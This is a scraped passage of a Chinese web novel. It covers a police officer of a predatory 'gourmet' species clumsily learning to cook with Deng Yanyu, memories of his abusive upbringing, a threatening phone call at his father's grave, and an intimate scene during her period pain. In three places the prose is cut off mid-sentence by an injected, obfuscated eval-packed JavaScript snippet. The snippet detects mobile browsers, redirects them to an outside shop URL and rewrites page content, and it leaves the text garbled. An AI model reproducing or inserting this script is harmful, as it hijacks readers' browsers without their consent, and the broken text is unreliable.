卫生间做的是半玻门,邓烟雨躲哪不好,非躲门后,她的侧影犹如雨水打乱开来,含蓄地漾在整块玻璃上。 她没有洗头,后脑勺盘着花苞头,两缕卷发垂于香颈,薄薄一片的肩膀因冷而缩着,纤细的手臂正好挡住胸前发育成熟的一切。 公冶整个人一麻,赶紧背过身,捂住自己的眼睛:“你自己来拿。” “那你,你……” “我不看,你开门吧。” “那我开门了。”邓烟雨悄悄把门拉开一个侧身可通过的宽度,果然见他把自己拧向另一边,捂住眼睛,留一条抓着浴巾的手臂朝向她。 手中一空,公冶悬紧的神经才得以放松。 邓烟雨穿好衣服出来时,他已经在客厅偷吃饼干了。 “我快饿昏了,师父。”被叮嘱不许叫外卖,公冶如同进入磨牙期却找不到一根磨牙玩具的悲伤焦躁小奶狗,牙齿痒得地皮都要啃。 “来,我们做饭啦,”邓烟雨无情夺走他的零食,微笑道,“虽然做饭也是体力活,但吃零食对身体不好,今日糖分已超标,不能再吃了。” “哪超了?” “水果糖你没吃吗?你让我喂了你多少颗,”邓烟雨细数他的罪状,“还有你吃的pocky热量高,容易发胖,你想人还未到中年就挺着个大肚腩吗?放下甜食立地成佛吧,警官大人。” “我胖不起来,”公冶撕开包装,“美食家新陈代谢快,就是躺一天也能消耗大量卡路里,反正怎么吃都不胖,羡慕吗?” 羡慕死了啊! 邓烟雨死鸭子嘴硬:“瘦不拉几的有啥可羡慕……胖点好看。” 他“喀嚓”一声咬断饼干,抬眸看她:“是胖点好看。” 邓烟雨不明白他意指何处。 “你太瘦了,”公冶往沙发一靠,说,“要多吃点。” “我还瘦么,我一米六不到,九十八斤呢,还有肚子,”邓烟雨说着捏捏小肚子上的软肉,愁眉苦脸,“体重过百我就不活了。” 公冶百思不得其解:“你对‘体重不过百’有什么执念吗?” “有啊,就是有,就像你对甜食的执念一样。” “那我理解了。” 邓烟雨看他屡教不改吃着零食,气气地说:“你理解个屁。” 公冶笑了。 嗓音明净低冽,潺潺叩至耳畔,邓烟雨眼神一软,盯在他平坦的小腹上。 他把脏衣服脱下了,换的还是千年不变的白短袖,纯棉的布料无隔阂地垂挂下来,吻合着这具健硕的躯体,窄而有劲的腰身藏在发皱的衣片下。 会是什么手感呢? 欲壑难填这个词够诛心,邓烟雨摸过他的头发尝到了甜头,没出几天就对他身上其他地方,甚至可以说是对他的禁区产生了欲念。 比起当初医院里那副衣冠笔挺不近人情的君子形象,今时今日的他在邓烟雨面前真就不摆任何聊胜于无的花架子,黑发永远是恹恹散乱着,平日里正言厉色冷淡疏离,此刻被她骂了还能没心没肺地笑出一声。 邓烟雨茫然了。 她喜欢的公冶渡莲原来是这样的吗? 管他怎样,喜欢都喜欢上了,这情债还能当空头支票赖掉不成? “不许吃啦,”征服欲大起,邓烟雨一把抢走饼干,比妈还狠,“你都干空三包了,不齁吗!” “它是咸的。”公冶强行狡辩。 “咸的也不能多吃,”邓烟雨秉持抗拒从严的教育理念,叉腰教训,“哪只狗狗可以顿顿吃咸的?吃多了会减寿的知道吗?” 公冶:“……”可我不是狗。 “起来,”她拉着他胳膊,往厨房重地去,“我们今天简单吃个炒三丝,煎两个鸡蛋,煮一锅青菜汤,先淘米蒸饭,再洗菜切菜,很快哒。” “放过我吧。”公冶自讨苦吃,哀求道。 “乖徒儿,不要放弃呀,不是你说要学做饭吗?”邓烟雨系上印着Q版绿眼獠牙小怪物的围裙。 围裙是前天她在网上精挑细选买的,半夜下单,早上就显示派件了,这速度多半是乘了筋斗云,对比给公冶买的手环礼物,付款以后跟死了一样躺在待发货栏不动,和客服催过问过好多次,好不容易启程了,这会工夫还在邻省吭哧吭哧中转。 “你来切萝卜,”按下电饭锅的蒸煮键,邓烟雨将一把明晃晃的小菜刀郑重地交到公冶手上,“慢慢来,按住食材,直着下刀,小心手。” “放心,切菜我还是行的。” 于是他一刀下去,嘣一声!菜板如临大敌虎躯一震,一块橙色不明物体咻地破空射出,迅猛得残影都追不上,擦过邓烟雨的刘海就朝墙壁誓死一撞,不待缓冲又借力弹去地面,围着他们两人来回嘣嘣嘣走火,最终和抽油烟机头对头响亮一碰,直线掉进刚洗好的一口汤锅里。 邓烟雨被风掀起的刘海也在这一刻刚刚好落下来:“……” 公冶失魂落魄丢了刀,面向呆鸡师父,慌得不行:“你,你没事吧?” “我……大概可能应该也许还好……”邓烟雨寻寻觅觅,在那口锅里找到了橙色不明物体——英勇赴死的胡萝卜块。 邓烟雨对着它合十。 萝卜——愿你在天之灵安好。 “继续。”她吩咐道。 “还要我切?”公冶看了看裂开的菜板,想问问她哪来的信心觉得自己今晚可以平安走出这间厨房,“我一碰厨房用具就控制不好力道,很危险。” “不要怕,我都不怕。我既然收了你,”邓烟雨持紧刀,笃笃笃丝滑快速地切起了土豆,面色平静且大义凛然,“就要对你负责。” 听了这话,公冶有点感动。 “但是,”邓烟雨手没停,抬起眼,寒森森地逼视他,“你单手打游戏我可以不管,切菜,不可以单手。” “……我,知道了。” “可以在胡萝卜背面横切一刀,这样它就不会跑了,看清楚切的是菜还是手再下刀。”邓烟雨转念一想,他如果真切断手指该如何是好?美食家难道有少胳膊少腿还能神乎其技长回来的再生功能吗? 她先不管土豆,凑过去盯着公冶切菜。 有节奏的进刀声响起,萝卜在刀背后面一丝丝堆起,乖徒儿历经几番调教渐得真传,邓烟雨喜出望外,像支单人啦啦队拍手鼓励阿谀奉承:“太棒啦公冶警官,我就说你行吧!你聪明的智商又占领高地啦!孺子可……” 好话刚开出个头,公冶的手指就切开了,血珠滚出、淌下。 本来体力方面就吃亏,一失血,岂非把半条命都丢掉了,邓烟雨慌得满厨房找纸,公冶倒不在意,若无其事拨开冷水,冲洗手指。 半分钟后,手指愈合,伤痕都没了。 邓烟雨:“……” 这该死的快速自愈能力,她也好想要。 “跟我聊会儿天,”公冶说,“我专心切菜会切到手,分散注意力反而不会。” 什么?正常人会有这需求?邓烟雨无语到家了,往锅里添水,尹理事的脸浮现于澄澈的水面。 “我还真有个事要跟你说,你好好听,”她心有余悸地吞咽,“我今天在超市遇见了顶级美食家。” 身旁的切菜声明显一顿,随即恢复如初。 “就你去拿酸奶那会儿,是个男人,看起来超有钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579282|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还认识你,”邓烟雨关闭水龙头,回忆着对方贵气逼人的形象,感慨道,“难怪都说顶美是我国的生命财阀,他们垄断的不是一国经济,而是一个国家的文明兴衰。” 公冶说:“你是见到了他,才有了这样的想法?” “我只是理解了为什么有人会如此评价顶美,他的确与众不同,”有个疑问藏在邓烟雨心里很久了,她凑近问,“美食家不可以当官吗?” “不可以哦,尤其是权力机构,可以升,但不能升到领导层。” “那就是一辈子在基层打工,运气好点当个小主管?” “嗯。” “天呐,这太憋屈了。” 公冶望向她,眼神颇有深意:“只要本本分分做人,踏踏实实做事,钱会给到位的。” 邓烟雨:“真现实。” 网络上关于“只手遮天的绿眼财阀家”、“非富即贵美食官”等阴谋论甚嚣尘上,邓烟雨一个对此完全不感兴趣的人也快偏听偏信了。 “顶美当真没有网上传说那么有钱有势吗?” “要看的,”公冶调整切菜的手势,“硬要说捞油水,一些巨商和白手套就玩得够花了,但大多色厉内荏,山腰上称个王,而顶美在全世界寥寥可数,他们分裂,无血缘,各执己见,很难统一起来,更不用说把手摸到国家的命脉上压榨人民,所以即便目前大环境再荒诞,实权仍然握在国家自己手里。” 古洛宁愿养着一笼子只进不出的貔貅,也断然不会容忍贪婪到把自己都吃了的饕餮在自家领土上冒出一头。 只要话题足够敏感,就可以牵扯出一口深渊。公冶不欲再谈论下去,扯了个无关痛痒的话题:“你不喜欢顶美?” “我……”邓烟雨撬不动舌头,胃里仿佛一下子塞进一桌满汉全席,她把装满清水的锅端到煤气灶上,“说不上来,我被他吓到了,他身上香水味好浓,气息也好重,我感觉脖子都勒紧了……啊不过——” “不过?” 邓烟雨握起小拳头,正色道:“长得可帅了,像外国人。” 公冶挑眉,略感意外:“你喜欢这种类型的?” 邓烟雨愣了一下,一个劲地挥手:“不不不!” 她拼命解释:“我喜欢稍微温柔一点的……也不用长得像外国人……就……就……” 公冶瞧她手忙脚乱的样子,笑了:“我随口问问。” 邓烟雨倔强地反问他:“那你有喜欢的类型吗?” “我啊,”萝卜在刀刃下逐步沦为碎末,他说,“单论长相,有个喜欢的日本女星。” “什么!”邓烟雨甚为惊讶,探身过去,“谁啊谁啊,谁啊?” 公冶甩了甩刀上的萝卜丝:“你猜猜看。” 邓烟雨沮丧:“明星那么多我哪猜得出,难道是户原恋?” 公冶:“……”她直觉也太准了吧。 “做饭吧,师父,”他说,“我饿到想啃饭锅了。” “好好好,”邓烟雨回到自己岗位上,“对了,那个顶美还要我转达你一句话。” “什么?” “别让我们等太久,”邓烟雨一字不差地复述,“就这一句。” “什么意思?”公冶声音里透着狐疑,“我不懂。” “你不知道?” “这话听着没头没尾的。他叫什么名字?” “名……”邓烟雨花容失色,“亲娘嘞,我忘记问他名字了!” “自报家门都不会,”公冶再次切开手指,慢吞吞移去冲水,“不管了,随他去吧。” “可以不管吗?”邓烟雨担忧地说,“他认识你,知道你在公安,也说得出你的姓名和代号。” “他想查我太容易了,不必……”第二句话说了一半便再没下文,公冶关掉水,看向邓烟雨,“他知道你名字吗?” 邓烟雨点头:“知道。” 公冶怔住了。 顶美找她干什么? 他自然清楚这和邓烟雨身上的标记味没关系,顶美口味刁,不稀罕这个。 但他们确确实实抓住了邓烟雨的行踪—— 通过我。 公冶思索至此,脸色瞬间变了。 30. 一百分 八年前,被熊小滚接来歌华的那天,他就像一具撕碎了灵魂的躯壳,站在艳阳高照的公安局大门前,望着高耸石柱上的金属魏碑字体,和场地中央烈烈飞动的紫花国旗,眼底终于出现活人才有的光亮。 公冶从未质疑过自己的选择。 他逃出了那口疼爱他的炼狱,在歌华迎来真正的人生,可索命的冷手并未就此罢休,它一拳击溃了法律与道德的重墙,于每个日夜无孔不入渗透进来。 八年了,他仍旧逃不掉。他被一套健全透明的保护机制晒在阳光下,四面八方的眼睛均可隔着玻璃监视他。 将邓烟雨带在身边更安全? 实则不然,那些眼睛也在打她的主意。 公冶虎口抵紧刀柄,体温不知不觉间下降,一个女人温情得近乎癫狂的呼唤揉烂了过去的记忆。他清醒地听到脚下的地面在暴怒皲裂,无数条苍白的、遍布针孔的手臂从裂隙里伸出,密密麻麻缠上来,掐住他的脖颈,蒙住他的双眼,把他拖向黑暗无边的地底—— “渡莲,你今天想吃什么,这块肝没有脂肪,你喜欢吗?” “渡莲,妈妈给你挖了一颗心脏,你爱妈妈吗?” “外面雨停了,但是莲啊,你的腿还没长出来,我们今天不能出去了。” “莲,为什么不叫我妈妈?” “他们都叫我妈妈,可妈妈只爱你。” “为什么只有你不叫?!为什么?!为什么?!为什么?!” “好孩子不怕打针,躺上去。” “我叫你躺上去!!” 嘡啷! 菜刀坠落,在地上砸出一记响声,把他混乱成灾的神思砸了回来。 身边传来邓烟雨的询问声,刀已经被她拾起,公冶撑着桌子说没事,仓促地接过,告诉她:“你这些天不要出门了。” 邓烟雨见他状态不对,回应道:“不出去了,就算你同意我出门,我也不会出去的。” 指尖冒开一线血迹,公冶第三次挪去冲水,不强不弱的水流在充满回声的水槽里啪嗒作响,正好粉饰了他尾音里的嘶哑:“我其实一直奇怪。” “嗯?”邓烟雨看他,“奇怪什么?” “我好歹……也是美食家,”公冶盯着冷水,喉结缓慢滚动,“即使我为公安效命,怪物该有的特性我一项不落,你为什么不怕我?” “因为我是警察吗?” 他面向她:“如果,我不是呢?” 如果他不是? 如果他以掠食者的身份、以怪物的姿态出现在她生命里,那么那天,在那条巷子里,他是否还会出手拯救她? 还是选择和苏赞一起……分食她? 邓烟雨呆呆的,再一次从他的双眼中找到了台风季节的苍翠与飒爽。 “我为什么要怕你?你在我最无助的时候赶来救我,两次,”邓烟雨沉着地与他对视,“不,还有很多时候你也帮助了我,无论你是谁,是何身份,我对你的感激是一辈子的。” “如果我不曾接受完好的教育,我现在可能就是一只吃……” “没有如果,也和你是不是警察无关,你就算是乞丐,我也愿意亲近你,我喜欢温柔的人,”邓烟雨都没意识到自己快说漏嘴了,仰起真挚的脸庞,朝他莞尔一笑,“我所认识的公冶渡莲是一个尽职尽责、正义善良、为我打跑所有坏人的盖世大英雄,他不是怪物,今后也不会是。” 不可名状的热意漫过伤痕累累的冷寂皮肉,涌去心脏最深处,公冶侧首,注视她,绿眸微灼着光。 “并不是所有的美食家都是怪物,对我来说,并不是的……这世上的成见就和山一样多,我经常翻网上的评论,很多美食家对自己生存于世这件事本身就感到很抱歉了,他们又不是自己喜欢而去成为的美食家,大家都有怨言与苦衷,大部分人都会给予理解包容,那些一味施加暴力偏见的人才是怪物,他们只会让社会舆论往一边倒,害谁也得不到和平。” “我、我不是安慰你,”邓烟雨低头看土豆,势必要把土豆雕成花,“我是在根据实情表达自己观点,我不讨厌美食家,我讨厌的是让无辜的同胞备受欺辱谴责抬不起头的那些坏蛋。” 她说话时,脸颊在动,耳廓垂落卷卷的发丝,公冶的目光停顿在她蓬松的花苞头上,紫色发绳坠着装饰亮片,折射轻光。 他不知自己是怎么了,手有些控制不住,想去肆无忌惮扯下来,想看她汪洋如海的乌发重重飞散下来的样子。 “嗯,”他说,“我明白,谢谢你。” “你刚刚是想起不开心的事了吗,怎么变得多愁善感的?” 公冶看着菜板的裂隙,去清洗沾了萝卜汁的刀具:“没有,切菜切到手,疼得不开心了。” 做个饭还能这么玻璃心,男人呀…… 邓烟雨摇摇头,谁叫他惹自己如此怜爱,能怎么办,只能宠着呗:“徒儿今天没有炸厨房,已经很成功了,要给你点个赞!” 可惜邓烟雨的赞没机会点出来了,公冶先伸出手,捏了一下她的脸,邓烟雨受宠若惊地扬起睫毛,露出了满眼的明亮。 他心口一热,手松开,改为捧住她的小脸。 宽大的掌心贴着她温暖细嫩的肌肤,缓缓上移,五指轻插入发,他挠了挠这颗卷毛小脑袋。 这份爱抚来得太猝不及防,邓烟雨心慌了:“说好……就捏一次的。” “就捏两次。” 邓烟雨鼓嘴:“你说话不算话啊……” “不喜欢吗?” 邓烟雨脸一红:“那我也要挠你的脑袋。” “你能挠到再说吧。”一米九对一米六说。 邓烟雨不服气地盯着他,忽然间跳起来,要去抓他脑袋,公冶侧身一避,邓烟雨以为自己要摔了,吓得轻呼,下一秒就被他捞住腰,稳稳抱入怀中。 她搂着他的脖子,和他身体相贴,四目相对。 微乱的黑发轻覆着他好看的眉眼,他定定地凝视着她,眼里全是她,那浓郁的温度,除了她,已经装不下任何事物了。 他没放手,反而收紧了力道:“邓烟雨,我……” “我脚滑了,对不起。”她实在没有做好准备,移开了目光,耳根红透。 头顶未再出声,她害怕却又期待地揪住了他的衣领,聆听着他的心跳,如果他继续说下去,如果继续维持这个亲密的姿势,她会沦陷的…… 公冶放开了她,说:“你头发上有萝卜丝。” 邓烟雨被他放下,红着脸拍头:“你怎么切的,能嘣到我头发上来?”一边说一边在心里暗骂自己是笨蛋,大好机会浪费了。 “我把这些切完。”公冶不愿半途而废,折腾完萝卜就去折腾大白菜。虽然切开手指对他而言没什么大不了,但切开五次就有点过分了。 他旧伤未愈,复添新伤,断断续续地流血,邓烟雨已经不指望他会个一式半招了,只希望他好好活着。 “公冶警官,你去休息吧,我放过你了,真的,你别切了,我害怕。” 这话感觉在哪里听过,公冶停下了手中的活。 “收尾工作我来,你做得很好了,一百分!快去打小银管吧,求你了。” 邓烟雨把他推出开放式厨房,让他去玩去吃零食,公冶回头问她:“你要把我逐出师门吗?” “为师就你一个徒儿,舍不得啦,得宠着。” “谢谢师父。” “快去打针!” 公冶能听她话就怪了,小银管里面有安眠成分,他担心此刻打了,夜间保护期间会犯瞌睡。 满桌零食在等他,可他没兴趣了。公冶回头,看她一边哼歌一边在厨房忙碌的身影,突然觉得自己真没用。 窗外,天色已完全抹黑。 两个小时前。 一辆黑色保时捷轰着油门怒冲上台阶,轮胎哧着火星子,尖声急刹在宾至KTV大门口。 傅贤摔门下车,车钥匙掷给小跑过来的泊车员,其他人默默无言跟在后面。 旋转门优雅运转着,他气得想一桶火药炸了,走了旁边的玻璃小门,服务员着急忙慌为他拉开。厅堂内装修成富丽堂皇的古典欧式风,他蹬上双分式楼梯来到二楼,一脚踹开某间包厢,满身火气张口就骂:“你躲你老子呢?不回公馆来这干嘛?” 卡座尽头烟雾缭绕,男人骨节分明的手指夹着烟,一双锐利的黑眸若明若灭地撩起来,冷刺在傅贤身上,没有说话。 “去把那只花枝鼠给宰了!”傅贤挥走沙发上碍事的女人衣服,坐下,“她雇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她到现在没来学校,保不准被苏赞种了点东西,”祁宴细长的眼眸勾着点阴鸷味,“你知道标记吗?” “知道,美食家的‘储备粮’呗。” “小老鼠住院那么长时间,公安会嗅不出她身上的味儿?听你说那家伙还是只珍美,必是公安那边的没跑了。” “……” “卧槽?!他公美?!祁宴你是没见过——他差点要吃了我啊!” “他有亮证吗?”祁宴做出抽证件的动作,邪笑着。 傅贤和身后那伙人仔细回忆,纷纷摇头:“没有啊。” “那他就不是以警察的身份和你对线,而是以一个男人的身份。傅贤,你踢了他的宠物,他生气了,”祁宴幸灾乐祸,“你惹到他了。” 傅贤目瞪口呆。 祁宴拎起一杯洋酒,坐下来,手臂搭着沙发,嗤笑:“这可有趣了,”他眼光流转,盯住门口的两个女生,“邓烟雨的室友。” “我们有名字。” “啊,不好意思,管仙仙,池璐,”祁宴叫出她们的姓名,温声拜托,“麻烦二位去打听打听,邓烟雨最近和谁厮混着。” 管仙仙说:“让我们打听……找谁打听?” 祁宴最厌烦和蠢货说话,嘴角那抹虚伪几欲败露出浓浓的鄙夷:“庆威凤和蔡蔡,后边那个嘴巴松,能套出话。” “鸡哥,别刁难她了吧,”摔没牙的那位仁兄嘴巴漏风,“你系不吉道那个美西家涩么德性,根本不吓公安的,硬碰硬要洗人滴。” “这也快毕业了,”另外一个说,“对小学妹好点吧,祁哥。” 祁宴没说话,他们等来的是傅贤的一句祖宗亲妈的问候。 “你们犯什么怵啊?!”傅贤咆哮得肺冒烟,“顶级美食家站在祁哥他爹边上都只有倒酒的份,他一个狗屁不是的珍美,他公安了不起啊?!” “全出去,”祁宴咬牙,不再视他为白痴,露出关爱傻驴的目光,“傅贤我警告你,别对邓烟雨出手。” 众人陆续往外哄散,傅贤走到门边,脑袋打了鸡血,不要命地问:“你喜欢她啊?” 所有人噤若寒蝉,吓出身冷汗,步子都迈不开了。 包厢内的男人没动。 “神经病,被你这种疯子喜欢真是祖……上修来的泼天福分。” 傅贤注意到黑暗里淬毒的杀意,话吐到一半兜了个底,趁他尚未发作,火速滚出他视野范围,搡着大伙撤退。 31. 南山(修) 翌日上午九点,歌华南山陵园。 通往烈士公墓区的漫长石阶上,传来皮鞋轻叩地面的声响,公冶渡莲一袭纯黑装束,手持百合花,穿行在万籁俱寂中。 这里是歌华市最大的一片国有公墓,为国捐躯的烈士英魂长息于此。冬风收紧严寒,拂过千座墓碑,它们安寂得像埋在茫茫大雪里的小石头。 跨上最后一层台阶,往右数第二十四个位置。公冶驻足,将新鲜盛开的百合放在墓前,打扫干净的碑体上刻着浅金文字,一横一捺入木三分—— 公冶静思烈士之墓。 花瓣滚落了一滴水珠,无声洇染在坚硬的黑色花岗岩上。整块花岗岩刻着他生平简介,何时生,何地人,何时服役,何时入队,功绩一笔带过,并于末尾写着2104年4月1日在四一稀美屠杀案中因公牺牲。 公冶伫立在父亲墓前,长久不曾发出动静,寒风连续不断送来,他打理过的黑发松散了一点。 他每年四月会来扫墓,那时候的陵园美不胜收,紫露草全开了,星星点点陪伴在每座墓边,偶尔迎风摇起,绽放出温柔蓬勃的生机。 今天去单位交接好邓烟雨的夜间记录表,回家途中遇早高峰堵车,便舍近求远绕了路,开进一条隧道。 出隧道后发现离陵园不过一公里,他本就有意来看看父亲,远路一绕刚好制造了机会,确认身上并没不得体,便在附近花店买了束花,来了。 远处的松柏翠海终年林立着巨人的肃穆,晨时常泛来鸟啼,清脆空灵。公冶蹲下来,望着墓碑上的男人。 墓碑瓷像里是一名年轻男子,黑发三七分,警徽闪耀胸前,英气逼人的面庞略带笑意,唯独左耳戴的两枚黑色耳钉使得他整个人与此处格格不入,杂糅着些许玩世不恭的味道。 公冶初来见他,摸着父亲的这张遗像,说:“还戴耳钉,不像个警察。”惹来熊小滚和朗院长一顿大笑。 “说了他多少次啊,为人民服务就不要打扮成个无赖混账,把人民都吓跑了可咋整?他犟种,偏不听,非要戴。” “你还别说,你爸在部队里就一副花花样子,笑起来痞里痞气的,整天顶着一张绝世好脸招摇撞骗,要不然怎么能把歌大校花勾到手?” 除了歌华财经政法大学明确不接收美食家学生,大部分重点高校皆向美食家友好敞开,公冶的母亲便就读于歌华大学社会学系。 圈子里一致认为他母亲生得太美,但性子不算婉约,一次喝疯了,为朋友两肋插刀,把自己搭了进去,又误打误撞遇上了他那个浪荡的爹。 那晚公冶静思多瞧了她一眼,吩咐新人送她回接待室,她却直接扑上去捧住他的脸,问:“喂,一直看我干嘛?我很美吗?你要娶我?” 接下来发生的事太难收场,喝昏的她非要和他掰手腕,赢了他娶她,输了她嫁他,十头牛都拉不开,她在公冶静思身上挂了一夜,逼婚到天亮。 哪有这样一见钟情的。 综上“父母爱情”,是公冶在警校老教官那捡的一耳朵闲话。他爹妈谈个恋爱也要玩城府,到头来还是父亲先败下阵,未等母亲毕业就迎她进门。 公冶快忘了母亲的面容,印象里只有她永远笑盈盈的绿眸,与丈夫阴阳永隔的痛苦岁月里,每晚也会抱着儿子坐在长廊下,听着风铃声哼儿歌。 她从不在公冶面前哭得软弱不堪。 冬风顿时刮得猛烈,携来松柏的坚寒,公冶埋着颈项,在无边无垠的墓地里安静得恍若不存在。 裤兜里的手机在震动,公冶起身,掏出手机盯着屏幕,刺亮的光投进他结冰的瞳仁。 电话挂断之际,他拇指一划,接通,放到耳侧。 “好久没联系了,”电话那端的男性嗓音含着笑意,“渡莲。” “有事?”公冶喜怒不形于色,念出那声久违的称呼,“张叔叔。” “当然啊,不然给你打电话做什么?”张烬应该在自己办公室,那种大空间的回音隐隐能感觉得出来,“下周我有个培训,要来歌华。” 公冶的视线还猎在墓碑上,与父亲琥珀色的瞳仁对望着。他气息平稳,不露声色:“然后呢?” “我表达的意思还不够清楚么?”张烬发自肺腑地认为他思想不集中,开了个很大很大的小差,将近十年的小差,“我要来歌华,找你。” “我要来歌华——找你——” “下周就来——” 莲—— 公冶瞪着前方的东西,黑色花岗岩和郁郁葱葱的枝叶混淆成一团,父亲的笑意扭曲了,混入其中,化作斑驳的色块,百合花的香气太鲜,令人作呕。 他指关节用力,捏得手机和他的手一起抖。 陵园湿意充足,足到公冶有点透不过气,张烬唤着他的名字,一声声仿佛来自深不见底的巨海漩涡,肮脏的触手捆牢他凉彻的四肢。 他想回家。 早上出门时,她的房门还关着。 她现在该起来了吧,吃过早饭了吗,是去看赫彻的书了,还是趴在床上和蛋宝聊八卦,笑得不亦乐乎? 想回到那个家,回到她身边。 “莲?”张烬在那边反复叫他。 不要叫我这个名字。 公冶被陵园的冷风冻醒,咬紧了獠牙,艰难出声:“你不要再来找我。” 电话那端一度静默,随后拉开沙沙摩擦的杂音,张烬尖锐的质问如钢铁拧碎扎进脑海:“你在歌华的卖身契只有十年,你没忘吧?” “……” “当年熊小滚凭一纸跨省征用把你调走,他初任GS指挥官,行事作派和吃人的你们简直无差,你还记得吗,那份公函盖的不是歌华市公安局的章,而是公安部的鲜章,我们不好违抗,依了他,但当时纸上写着什么?” “写着十年。” “他只要了你十年,还是‘征用’,连基本的人权都不给你。公冶渡莲,他从一开始就不想救你,你到现在为止,都属于我们瑶光省。” “别想一辈子躲在歌华,你躲得了么,你迟早要回来。” “好好考虑清楚该服从谁的指示,再来和我谈判吧。” 对方挂断,一串嘟音宛如廊檐的雨珠,溅在不堪一击的鼓膜上。 满园死寂。 他扶住父亲冰冷的墓碑,跪了下去。 十分钟后,公冶离开陵园,在午饭前开车回了家。 客厅四下悄寂,窗帘合拢如初,光线暗蒙蒙地罩着简洁的家具,仿佛邓烟雨从来不在。公冶望了一眼卧室的门,是关着的。 他走过去,轻轻一碰,门没锁,掩着。公冶隔着门问:“起来了吗?” 几秒之后,里面抖出一声:“嗯……醒着……” “我进来了。”略略等了一刻,公冶推开门,见邓烟雨卧在床上,床边放着垃圾桶,而她蜷成了一只虾,发丝贴脸,冷汗直冒。 他不由惊道:“你怎么了?” 邓烟雨前边吐过,但没吐出什么货,严重失色的嘴唇张合:“来例假了,太疼了,起不来……” 这个世纪大难题丢给公冶等于打蚊子喂象。他无措地站了站,问:“要喝红糖水吗,我去泡一杯。”说着就行动起来,邓烟雨不想他走,急忙叫住:“红糖不管用,你……” 他今日一身黑装,气息缜密得像个高层干部。邓烟雨目光热热地倾注在他垂落的手背上,那双她暗地里贪图了很久的手。 “你能帮我揉揉肚子吗?”邓烟雨痛迷糊了,也顾不上难为情,“我在出汗但我好冷……” 公冶没有犹豫多久,抬步走了过去,将软得一塌糊涂的邓烟雨小心扶起,坐到床头,让她靠向自己,邓烟雨耸了耸鼻子:“你身上有寒气。” “我刚从外面回来,”公冶伸手,隔着被子摸在她肚子上,“这里么?” “这样不暖,”邓烟雨说,“能往里,吗?” 公冶不语,也不动,目光覆向了她。 邓烟雨咝着气:“也不用揉,就放着,你手暖不暖?” 公冶:“暖的。” 邓烟雨捏了捏他的大手,是暖,骨节修长,她需要用上自己的两只小手才能堪堪握全:“我昨天忘记买暖宝宝了……” 公冶内心挣扎一番,手探向被子里面。 邓烟雨昨晚睡前腰酸背痛,发现自己提前来了,垫好加长卫生巾躺下,就再没出来过。蓬松的被褥散发着沐浴露的香味,和她暖洋洋的体香。 里面一切都是热的,好在没有汗湿,不过她身体好烫,怎么会觉得冷?公冶凭感觉摸索进去。 “不是这里,下面一点,”邓烟雨故意骗他,“你要摸到我胸了。” “抱歉。” 邓烟雨觉得他好玩,乐了一声,公冶疑惑:“你真的痛么,还有心情笑。” “痛啊,我前面痛得满床打滚找你求救,你不回我。” “我出去了。” “你出去了,不好给我发一句信息吗,我叫天天不灵,叫你你不应,一个人快绝望死了。” “都是我的错。”话音刚落,他摸到一团软乎乎的肉。 太软了,像一口小小的果冻,软得他指尖微颤,想用力捏一把。 “啊。”邓烟雨轻声惊呼,公冶紧张地问:“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579284|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了?” “好舒服,”邓烟雨把自己想象成冰淇淋在他怀里化开,闭上眼,“你的手刚刚好可以裹住我的肚子,好神奇。” 公冶:“……”好折磨! 邓烟雨面庞不见血气,公冶说:“止痛药吃过没?” 她摇头:“我会过敏,起疹。” 一室安详,蛋宝也睡成头死猪,毫无动静。时间滴答流逝着,公冶在尽量放空自己,脑子里重播今早听的国际新闻。 邓烟雨稍微缓解了点,冷汗犹在,她忍着不呻吟,颤声说:“能不能不要隔着衣服,不够暖。” 公冶:“什么意思?” “能不能放进去?” “放进哪?” “你的手,”邓烟雨痛得有了泪气,“放我肚子上。” 公冶没动。 “我太疼了,”邓烟雨往他怀里轻蹭,“我都不害羞,你也不要害羞了。” “我去拿热水袋。” “别走!”邓烟雨拉住他,“我不要热水袋。” “就要我的手?” “嗯。” “为什么?” 邓烟雨抬头,对上他深沉而认真的目光,心跳漏了一拍。 “因为……“她发丝湿了,“你的体温比热水袋,更能让我舒服。” 公冶眸底似有暗流,汹涌的,克制的,稍纵即逝地掠走了一个念头。他下了极大的决心,坐下,手越过她的睡衣,慢慢向最里面抚去。 碰到了。 双方心里同时喊出一声:这手感棒呆了。 尝试过男人的手,此后暖宝宝在邓烟雨眼里等同废物,她对公冶的手彻底上了瘾,一个越轨的心思在她的病躯里滋长膨胀。 “这样好点吗?”他初次碰女孩躯体较为私密的地方,异常不适。 等了等,邓烟雨说:“不太好,”她也下定了决心,“你上床来。” 公冶对这四个字没有反应。 明明和一加一等于几一样简单,他却呆若木鸡,“算”不出来。 “你真的疼吗?”他第二遍问她。 “我……”刚才还好些,突然她肚子里的挖掘机开始挥舞铲斗,哄哄拆毁她可怜的子宫壁,邓烟雨痛得攥紧公冶的外套,脸色煞白至极。 “我要你抱着我,”她回过头,满眼的柔弱与恳求,“我需要你抱着我,我让你无限次捏我的脸,你就让我抱一抱……” 她还挺礼尚往来的。 